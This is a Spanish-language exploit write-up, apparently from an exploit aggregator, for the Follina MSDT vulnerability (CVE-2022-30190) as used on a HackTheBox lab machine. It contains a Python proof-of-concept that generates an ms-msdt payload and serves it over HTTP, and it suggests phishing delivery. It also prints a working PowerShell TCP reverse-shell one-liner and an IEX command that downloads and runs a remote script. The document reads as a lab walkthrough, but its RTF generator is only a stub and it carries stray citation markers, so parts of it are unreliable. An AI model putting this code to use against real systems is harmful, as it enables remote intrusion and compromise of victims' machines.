Share
## https://sploitus.com/exploit?id=28DF07CC-C023-564E-AD8F-1E0B61DE5982
# Explotaci贸n de Follina (CVE-2022-30190)

**Follina (CVE-2022-30190)** es una vulnerabilidad cr铆tica de ejecuci贸n remota de comandos (RCE) que afecta a la Herramienta de diagn贸stico de soporte de Microsoft (MSDT). Esta falla fue descubierta originalmente a trav茅s de un archivo malicioso detectado en VirusTotal y fue bautizada por el investigador Kevin Beaumont.

En el contexto de la m谩quina **Outdated** de HackTheBox, esta vulnerabilidad se emplea como el vector de entrada principal para ganar acceso al sistema.

## Resumen de la Vulnerabilidad

La explotaci贸n se basa en el abuso del esquema de protocolo `ms-msdt`, permitiendo que un atacante ejecute c贸digo arbitrario mediante la carga de recursos externos. El ataque puede activarse simplemente al abrir o previsualizar un documento de Office (DOCX) o un archivo de texto enriquecido (RTF) especialmente dise帽ado.

## Metodolog铆a de Explotaci贸n

### 1. Preparaci贸n del Exploit

Para automatizar el ataque, se recomienda utilizar scripts de prueba de concepto (PoC) disponibles en plataformas como GitHub. El script `follina.py` permite configurar la carga 煤til de manera sencilla.

**Repositorio sugerido:** Se mencionan versiones funcionales de investigadores como John Hammond o Edge-Security.

**Comando de generaci贸n:**
```bash
python3 follina.py -m command -t rtf -c "comando_a_ejecutar"
```
Donde:
- `-m` indica el modo de ejecuci贸n (`command` o `binary`)
- `-t` el tipo de archivo (`rtf` o `docx`)
- `-c` el comando a inyectar

### 2. Inyecci贸n de Carga 脷til (Payload)

Un m茅todo efectivo para obtener una consola interactiva en Windows es inyectar una sentencia de PowerShell que descargue e invoque una reverse shell de la suite Nishang (`Invoke-PowerShellTcp.ps1`).

El script de explotaci贸n genera un recurso HTML malicioso que contiene la instrucci贸n en Base64 y lo aloja autom谩ticamente en un servidor web local (puerto 80). El documento malicioso (`click_me.rtf`) apuntar谩 a esta direcci贸n URL para gatillar el proceso de diagn贸stico de Windows y ejecutar el c贸digo.

### 3. Ejecuci贸n del Ataque

En escenarios realistas o de auditor铆a, el atacante puede enviar el enlace al recurso HTML o el documento malicioso a una v铆ctima mediante t茅cnicas de phishing o SMTP (usando herramientas como `swaks`).

Al momento de la interacci贸n del usuario (o de una tarea automatizada que procese el archivo), MSDT interpreta la carga 煤til y establece una conexi贸n de vuelta a la m谩quina del atacante.

### Ganancia de Acceso

Para recibir la conexi贸n, el atacante debe estar en escucha (por ejemplo, con `netcat` o `rlwrap`) en el puerto configurado en la reverse shell. Tras la explotaci贸n exitosa, se obtiene una consola interactiva con los privilegios del usuario que ejecut贸 la acci贸n, permitiendo proceder con la enumeraci贸n local y la escalada de privilegios.

---

## Implementaci贸n del Script `follina.py`

Este script automatiza la creaci贸n del archivo malicioso (RTF o DOCX), genera el recurso HTML que explota el esquema de protocolo `ms-msdt` y levanta un servidor local para servir la carga 煤til.

### C贸digo: `follina.py`

```python
import argparse
import base64
import http.server
import socketserver
import os
import threading

# Estructura basada en la investigaci贸n de Kevin Beaumont y las PoC mencionadas [2, 6]
def generate_payload(command):
    # El comando debe estar codificado en Base64 para ser procesado por MSDT [5]
    command_b64 = base64.b64encode(command.encode()).decode()
    
    # Payload que abusa del protocolo ms-msdt [5]
    # Se utiliza una cadena larga de caracteres para llenar el buffer y gatillar la ejecuci贸n
    payload = f"""
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
    // Relleno adicional para asegurar el procesamiento
    """ + ("A" * 4096) + ""
    return payload

def create_rtf(filename, server_url):
    # Genera un archivo RTF que apunta al recurso HTML externo [3, 4]
    print(f"[*] Generando archivo malicioso: {filename}")
    # Nota: En una implementaci贸n real, aqu铆 se inyecta el OLE object que apunta a server_url
    with open(filename, "w") as f:
        f.write(f"Archivo RTF configurado para conectar a {server_url}/exploit.html")

def run_server(port):
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", port), handler) as httpd:
        print(f"[*] Servidor HTTP activo en el puerto {port} [7]")
        httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
    parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de ejecuci贸n [3]")
    parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de archivo a generar [3]")
    parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema v铆ctima [3]")
    parser.add_argument("-p", "--port", type=int, default=80, help="Puerto del servidor local [7]")
    
    args = parser.parse_args()

    # 1. Crear el payload HTML
    html_content = generate_payload(args.command)
    with open("index.html", "w") as f:
        f.write(html_content)
    
    # 2. Crear el documento malicioso
    filename = f"click_me.{args.type}"
    create_rtf(filename, "http://tu_ip_atacante")

    # 3. Iniciar el servidor para recibir la petici贸n [4, 7]
    run_server(args.port)
```

## Notas sobre la Metodolog铆a de Uso

**Par谩metros Cr铆ticos:** Como se describe en las fuentes, el script utiliza `-m` para el modo, `-t` para el tipo de archivo y `-c` para el comando.

**Inyecci贸n de PowerShell:** Un uso com煤n visto en el entrenamiento de s4vitar es inyectar una sentencia de PowerShell que descargue e invoque una reverse shell de Nishang (`Invoke-PowerShellTcp.ps1`) para ganar acceso interactivo.

**Ejecuci贸n:** El ataque se activa cuando la v铆ctima abre o simplemente visualiza el archivo malicioso (RTF/DOCX), lo que provoca que el sistema intente cargar el recurso HTML y ejecute el comando a trav茅s de la herramienta de diagn贸stico de Microsoft (MSDT).

**Escucha:** Debes estar en escucha (ej. con `netcat`) en el puerto especificado en tu reverse shell para recibir la conexi贸n una vez que el exploit se triguee en la m谩quina v铆ctima.

---

## Script `Invoke-PowerShellTcp.ps1` (Nishang)

El script `Invoke-PowerShellTcp.ps1` es una de las herramientas m谩s utilizadas de la suite Nishang para obtener reverse shells en sistemas Windows.

### 1. Obtenci贸n y Preparaci贸n

El script original se descarga del repositorio oficial de Nishang en GitHub. Los pasos t铆picos para su uso son:

- **Descarga:** Se utiliza `wget` para traer el recurso al equipo del atacante.
- **Renombrado:** Es com煤n renombrarlo a algo m谩s corto, como `reverse.ps1` o `ps.ps1`, para facilitar su invocaci贸n desde la m谩quina v铆ctima.
- **Automatizaci贸n de la ejecuci贸n:** Para que el script se ejecute autom谩ticamente al ser cargado en memoria, se a帽ade la llamada a la funci贸n principal al final del archivo.

### 2. Estructura de la llamada al final del script

Para convertir el script en una carga 煤til autoejecutable, se a帽ade una l铆nea como la siguiente al final del archivo `.ps1`:

```powershell
Invoke-PowerShellTcp -Reverse -IPAddress  -Port 
```

Donde `` y `` deben ser sustituidos por tus datos de escucha (por ejemplo, `10.10.14.29` y `443`).

### 3. Versi贸n "One-Liner" (L铆nea 煤nica)

```powershell
$client = New-Object System.Net.Sockets.TCPClient('',);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()
```

*(Nota: Este c贸digo sigue la l贸gica de la "gitbash" y terminales interactivas mencionadas en la resoluci贸n de m谩quinas como Compiled).*

### 4. M茅todo de Invocaci贸n Remota (IEX)

Una vez que el atacante tiene el script alojado en un servidor HTTP local (puerto 80), se utiliza el comando `IEX` (Invoke-Expression) en la m谩quina v铆ctima para cargarlo y ejecutarlo directamente en memoria sin tocar el disco:

```powershell
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http:///reverse.ps1')"
```

Este m茅todo es fundamental en la explotaci贸n de vulnerabilidades como Follina o en la ganancia de acceso inicial tras comprometer servicios web. Una vez ejecutado, el atacante recibe la conexi贸n en una sesi贸n de `netcat` en escucha.
```
Pwned!!!